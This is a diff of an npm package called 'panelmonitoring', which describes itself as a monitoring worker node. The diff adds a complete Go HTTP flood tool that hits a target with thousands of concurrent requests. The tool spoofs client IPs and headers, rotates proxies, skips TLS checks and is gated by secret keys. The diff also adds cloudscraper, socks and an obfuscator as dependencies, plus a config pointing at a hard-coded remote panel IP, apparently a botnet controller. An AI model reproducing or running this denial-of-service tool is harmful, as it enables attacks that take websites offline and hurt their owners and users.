panelmonitoring 1.0.0 → 1.0.3

package/lib/cache/h1-go.go

@@ -0,0 +1,442 @@
+/**
+ * H1-GO — HTTP/1.1 High-Volume Request Flood
+ *
+ * Simple, lightweight, fast — pure HTTP/1.1 flood with Go goroutines
+ *
+ * Usage: ./h1-go <target> <duration> <goroutines> [proxyfile]
+ * Example: ./h1-go https://example.com 60 5000
+ */
+
+package main
+
+import (
+	"crypto/tls"
+	"fmt"
+	"math/rand"
+	"net"
+	"net/http"
+	"net/url"
+	"os"
+	"os/signal"
+	"runtime"
+	"strconv"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+)
+
+// ==================== SECRET KEY CHECK ====================
+func checkExecKey() {
+	validKeys := map[string]bool{
+		"夜影风暴": true, "量子幽灵": true, "暗影猎手": true, "虚空使者": true, "灵魂守卫": true,
+		"烈焰之心": true, "冰封王座": true, "雷霆之怒": true, "星辰大海": true, "深渊之眼": true,
+	}
+	execKey := os.Getenv("EXEC_KEY")
+	if execKey == "" || !validKeys[execKey] {
+		fmt.Println(`
+  ╔══════════════════════════════════════════════════════╗
+  ║                                                      ║
+  ║     ╔═╗╔═╗  ╔═╗╦ ╦╦╔═╗╔╗╔  ╔═╗╦═╗╦╔═╗               ║
+  ║     ╠═╝║╣   ║  ╠═╣║║ ║║║║  ║  ╠╦╝║╠═╝               ║
+  ║     ╩  ╚═╝  ╚═╝╩ ╩╩╚═╝╝╚╝  ╚═╝╩╚═╩╩                 ║
+  ║                                                      ║
+  ║   "你连钥匙都没有，还想攻击？"                       ║
+  ║   "You don't even have the key, and you want to      ║
+  ║    attack? LOL."                                     ║
+  ║                                                      ║
+  ║   → EXEC_KEY is missing or invalid                   ║
+  ║   → You are NOT Michelle Wang                        ║
+  ║   → Go home, script kiddie 🤡                        ║
+  ║                                                      ║
+  ╚══════════════════════════════════════════════════════╝
+`)
+		os.Exit(1)
+	}
+}
+
+// ==================== CONFIG ====================
+const (
+	REQUEST_TIMEOUT = 3 * time.Second
+	DIAL_TIMEOUT    = 2 * time.Second
+	MAX_IDLE_CONNS  = 10000
+)
+
+var (
+	userAgents   []string
+	referers     []string
+	totalSent    uint64
+	totalError   uint64
+	totalActive  int64
+	stop         int32
+)
+
+// ==================== USER AGENT LOADER ====================
+func loadUserAgents() {
+	userAgents = []string{
+		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
+		"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+		"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
+		"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
+	}
+	for _, path := range []string{"ua.txt", "./ua.txt", "../../ua.txt"} {
+		if data, err := os.ReadFile(path); err == nil {
+			lines := strings.Split(string(data), "\n")
+			var loaded []string
+			for _, l := range lines {
+				l = strings.TrimSpace(l)
+				if l != "" {
+					loaded = append(loaded, l)
+				}
+			}
+			if len(loaded) > 0 {
+				userAgents = loaded
+				return
+			}
+		}
+	}
+}
+
+// ==================== REFERER LOADER ====================
+func loadReferers() {
+	referers = []string{
+		"https://www.google.com/",
+		"https://www.bing.com/",
+		"https://www.yahoo.com/",
+		"https://www.facebook.com/",
+		"https://www.youtube.com/",
+	}
+	for _, path := range []string{"referer.txt", "./referer.txt", "../../referer.txt"} {
+		if data, err := os.ReadFile(path); err == nil {
+			lines := strings.Split(string(data), "\n")
+			var loaded []string
+			for _, l := range lines {
+				l = strings.TrimSpace(l)
+				if l != "" {
+					loaded = append(loaded, l)
+				}
+			}
+			if len(loaded) > 0 {
+				referers = loaded
+				return
+			}
+		}
+	}
+}
+
+// ==================== PROXY LOADER ====================
+func loadProxies(file string) []string {
+	data, err := os.ReadFile(file)
+	if err != nil {
+		return nil
+	}
+	lines := strings.Split(string(data), "\n")
+	var proxies []string
+	for _, l := range lines {
+		l = strings.TrimSpace(l)
+		if l != "" && !strings.HasPrefix(l, "#") {
+			proxies = append(proxies, l)
+		}
+	}
+	return proxies
+}
+
+// ==================== RANDOM HELPERS ====================
+var rngPool = sync.Pool{
+	New: func() interface{} {
+		return rand.New(rand.NewSource(time.Now().UnixNano()))
+	},
+}
+
+func randomUA() string {
+	return userAgents[rand.Intn(len(userAgents))]
+}
+
+func randomReferer() string {
+	return referers[rand.Intn(len(referers))]
+}
+
+func randomIP(rng *rand.Rand) string {
+	return fmt.Sprintf("%d.%d.%d.%d",
+		rng.Intn(256), rng.Intn(256), rng.Intn(256), rng.Intn(256))
+}
+
+var acceptLanguages = []string{
+	"en-US,en;q=0.9", "en-GB,en;q=0.9", "id-ID,id;q=0.8",
+	"de-DE,de;q=0.9", "fr-FR,fr;q=0.8", "es-ES,es;q=0.7",
+}
+
+var cacheControls = []string{"no-cache", "no-store", "max-age=0"}
+
+// ==================== QUERY PARAM POOL (Pre-generated for speed) ====================
+var queryParamPool [64]string
+
+func initQueryParamPool() {
+	const hexDigits = "0123456789abcdef"
+	rng := rand.New(rand.NewSource(time.Now().UnixNano()))
+	for i := 0; i < 64; i++ {
+		v1 := rng.Int63()
+		v2 := rng.Int63()
+		var key, val [12]byte
+		for j := 0; j < 12; j++ {
+			key[j] = hexDigits[(v1>>(j*4))&0xf]
+			val[j] = hexDigits[(v2>>(j*4))&0xf]
+		}
+		queryParamPool[i] = "?" + string(key[:]) + "=" + string(val[:])
+	}
+}
+
+// ==================== PATH ROTATION ====================
+var paths = []string{
+	"/", "/index.html", "/home", "/main", "/login",
+	"/api/v1/status", "/api/v2/data", "/wp-admin/admin-ajax.php",
+	"/search", "/products", "/cart", "/checkout",
+	"/blog", "/news", "/feed", "/sitemap.xml", "/robots.txt",
+	"/favicon.ico", "/css/style.css", "/js/app.js",
+}
+
+var queryKeys = []string{"_t", "_r", "_id", "_v", "cache", "nocache"}
+
+func buildPath(rng *rand.Rand) string {
+	base := paths[rng.Intn(len(paths))]
+
+	if rng.Intn(100) < 40 {
+		base += queryParamPool[rng.Intn(64)]
+	}
+
+	return base
+}
+
+// ==================== HTTP/1.1 TRANSPORT ====================
+func createTransport(proxyAddr string) *http.Transport {
+	tlsConf := &tls.Config{
+		InsecureSkipVerify: true,
+		MinVersion:         tls.VersionTLS12,
+		MaxVersion:         tls.VersionTLS13,
+	}
+
+	dialer := &net.Dialer{
+		Timeout:   DIAL_TIMEOUT,
+		KeepAlive: 30 * time.Second,
+		DualStack: true,
+	}
+
+	transport := &http.Transport{
+		DialContext:           dialer.DialContext,
+		TLSClientConfig:       tlsConf,
+		MaxIdleConns:          MAX_IDLE_CONNS,
+		MaxIdleConnsPerHost:   5000,
+		MaxConnsPerHost:       8000,
+		IdleConnTimeout:       60 * time.Second,
+		DisableCompression:    false,
+		DisableKeepAlives:     false,
+		ResponseHeaderTimeout: REQUEST_TIMEOUT,
+	}
+
+	if proxyAddr != "" {
+		transport.Proxy = http.ProxyURL(parseProxyURL(proxyAddr))
+	}
+
+	return transport
+}
+
+func parseProxyURL(proxy string) *url.URL {
+	if !strings.HasPrefix(proxy, "http://") && !strings.HasPrefix(proxy, "https://") {
+		proxy = "http://" + proxy
+	}
+	u, _ := url.Parse(proxy)
+	return u
+}
+
+// ==================== FLOOD WORKER ====================
+func floodWorker(target string, transport *http.Transport, wg *sync.WaitGroup) {
+	defer wg.Done()
+
+	rng := rand.New(rand.NewSource(time.Now().UnixNano()))
+
+	client := &http.Client{
+		Transport:     transport,
+		Timeout:       REQUEST_TIMEOUT,
+		CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
+	}
+
+	host := target
+	if strings.Contains(target, "://") {
+		parts := strings.SplitN(target, "://", 2)
+		host = parts[1]
+	}
+	if idx := strings.IndexByte(host, '/'); idx >= 0 {
+		host = host[:idx]
+	}
+
+	var buf strings.Builder
+	buf.Grow(128)
+
+	for atomic.LoadInt32(&stop) == 0 {
+		atomic.AddInt64(&totalActive, 1)
+		atomic.AddUint64(&totalSent, 1)
+
+		buf.Reset()
+		buf.WriteString(target)
+		buf.WriteString(buildPath(rng))
+		fullURL := buf.String()
+
+		req, err := http.NewRequest("GET", fullURL, nil)
+		if err != nil {
+			atomic.AddUint64(&totalError, 1)
+			atomic.AddInt64(&totalActive, -1)
+			continue
+		}
+
+		req.Host = host
+		req.Header.Set("User-Agent", randomUA())
+		req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8")
+		req.Header.Set("Accept-Language", acceptLanguages[rng.Intn(len(acceptLanguages))])
+		req.Header.Set("Accept-Encoding", "gzip, deflate, br")
+		req.Header.Set("Cache-Control", cacheControls[rng.Intn(len(cacheControls))])
+		req.Header.Set("Pragma", "no-cache")
+		req.Header.Set("Connection", "keep-alive")
+		req.Header.Set("Referer", randomReferer())
+		req.Header.Set("Upgrade-Insecure-Requests", "1")
+		req.Header.Set("Sec-Fetch-Dest", "document")
+		req.Header.Set("Sec-Fetch-Mode", "navigate")
+		req.Header.Set("Sec-Fetch-Site", "cross-site")
+		req.Header.Set("Sec-Fetch-User", "?1")
+		req.Header.Set("X-Forwarded-For", randomIP(rng))
+		req.Header.Set("X-Real-IP", randomIP(rng))
+
+		resp, err := client.Do(req)
+		if err != nil {
+			atomic.AddUint64(&totalError, 1)
+			atomic.AddInt64(&totalActive, -1)
+			continue
+		}
+
+		// OPTIMIZED: Skip body read for maximum RPS (was: io.Copy 4KB)
+		if resp.Body != nil {
+			resp.Body.Close()
+		}
+
+		atomic.AddInt64(&totalActive, -1)
+	}
+}
+
+// ==================== MAIN ====================
+func main() {
+	checkExecKey()
+	runtime.GOMAXPROCS(runtime.NumCPU())
+
+	loadUserAgents()
+	loadReferers()
+	initQueryParamPool() // Pre-generate query params for speed
+
+	if len(os.Args) < 4 {
+		fmt.Fprintf(os.Stderr, "Usage: %s target duration goroutines [proxyfile]\n", os.Args[0])
+		fmt.Fprintf(os.Stderr, "  target    : https://example.com or example.com\n")
+		fmt.Fprintf(os.Stderr, "  duration  : seconds\n")
+		fmt.Fprintf(os.Stderr, "  goroutines: concurrent goroutines (default 5000)\n")
+		fmt.Fprintf(os.Stderr, "  proxyfile : path to proxy list (optional)\n")
+		os.Exit(1)
+	}
+
+	target := os.Args[1]
+	duration, _ := strconv.Atoi(os.Args[2])
+	goroutines, _ := strconv.Atoi(os.Args[3])
+	proxyFile := ""
+	if len(os.Args) >= 5 {
+		proxyFile = os.Args[4]
+	}
+
+	if duration <= 0 {
+		duration = 60
+	}
+	if goroutines <= 0 {
+		goroutines = 5000
+	}
+
+	// Ensure target has scheme
+	if !strings.HasPrefix(target, "http") {
+		target = "https://" + target
+	}
+
+	proxies := loadProxies(proxyFile)
+
+	// Create shared transport
+	transport := createTransport("")
+	defer transport.CloseIdleConnections()
+
+	fmt.Printf("\n")
+	fmt.Printf("  ╔══════════════════════════════════════════════════╗\n")
+	fmt.Printf("  ║  🌐 H1-GO — HTTP/1.1 High-Volume Flood          ║\n")
+	fmt.Printf("  ╠══════════════════════════════════════════════════╣\n")
+	fmt.Printf("  ║  Target     : %s\n", target)
+	fmt.Printf("  ║  Duration   : %ds\n", duration)
+	fmt.Printf("  ║  Goroutines : %d\n", goroutines)
+	fmt.Printf("  ║  Protocol   : HTTP/1.1 (Keep-Alive)\n")
+	fmt.Printf("  ║  UAs Loaded : %d\n", len(userAgents))
+	fmt.Printf("  ║  Referers   : %d\n", len(referers))
+	if len(proxies) > 0 {
+		fmt.Printf("  ║  Proxies    : %d loaded\n", len(proxies))
+	}
+	fmt.Printf("  ╚══════════════════════════════════════════════════╝\n")
+	fmt.Printf("\n")
+
+	// Signal handler
+	sigChan := make(chan os.Signal, 1)
+	signal.Notify(sigChan, os.Interrupt)
+	go func() {
+		<-sigChan
+		fmt.Println("\n  [!] Interrupted — stopping...")
+		atomic.StoreInt32(&stop, 1)
+	}()
+
+	// Timer
+	go func() {
+		time.Sleep(time.Duration(duration) * time.Second)
+		atomic.StoreInt32(&stop, 1)
+	}()
+
+	startTime := time.Now()
+
+	// Start workers
+	var wg sync.WaitGroup
+	for i := 0; i < goroutines; i++ {
+		wg.Add(1)
+		go floodWorker(target, transport, &wg)
+	}
+
+	// Stats ticker
+	ticker := time.NewTicker(1 * time.Second)
+	defer ticker.Stop()
+
+	for atomic.LoadInt32(&stop) == 0 {
+		select {
+		case <-ticker.C:
+			sent := atomic.LoadUint64(&totalSent)
+			errs := atomic.LoadUint64(&totalError)
+			active := atomic.LoadInt64(&totalActive)
+			elapsed := time.Since(startTime).Seconds()
+			rps := uint64(0)
+			if elapsed > 0 {
+				rps = sent / uint64(elapsed)
+			}
+			fmt.Printf("\r  📊 Sent: %d | Errors: %d | Active: %d | RPS: ~%d", sent, errs, active, rps)
+		default:
+			time.Sleep(50 * time.Millisecond)
+		}
+	}
+
+	wg.Wait()
+	elapsed := time.Since(startTime).Seconds()
+	total := atomic.LoadUint64(&totalSent)
+	errs := atomic.LoadUint64(&totalError)
+	rps := float64(0)
+	if elapsed > 0 {
+		rps = float64(total) / elapsed
+	}
+
+	fmt.Println()
+	fmt.Println()
+	fmt.Printf("  ✅ Attack finished. Total: %d requests | Errors: %d | %.1f req/s\n\n", total, errs, rps)
+}

package/package.json

@@ -1,10 +1,29 @@
 {
   "name": "panelmonitoring",
-  "version": "1.0.0",
+  "version": "1.0.3",
   "description": "Michelle Wang — Worker Node",
+  "main": "控制面板核心启动模块初始化程序主入口文件.js",
   "bin": {
-    "panelmonitoring": "./run.js"
+    "panelmonitoring": "控制面板核心启动模块初始化程序主入口文件.js"
+  },
+  "scripts": {
+    "start": "node 控制面板核心启动模块初始化程序主入口文件.js",
+    "start:web": "node 控制面板核心启动模块初始化程序主入口文件.js",
+    "config": "node config-manager.js",
+    "prepublishOnly": "git checkout main"
   },
   "keywords": ["worker", "monitoring", "node"],
-  "license": "ISC"
+  "dependencies": {
+    "axios": "^1.7.9",
+    "cloudscraper": "^4.6.0",
+    "colors": "^1.4.0",
+    "express": "^5.2.1",
+    "hpack": "^1.0.0",
+    "request": "^2.88.2",
+    "socks": "^2.8.3"
+  },
+  "devDependencies": {
+    "javascript-obfuscator": "^5.4.1",
+    "pkg": "^5.8.1"
+  }
 }

package/panel-config.json

@@ -0,0 +1 @@
+{"panelUrl":"http://63.178.90.28:8082"}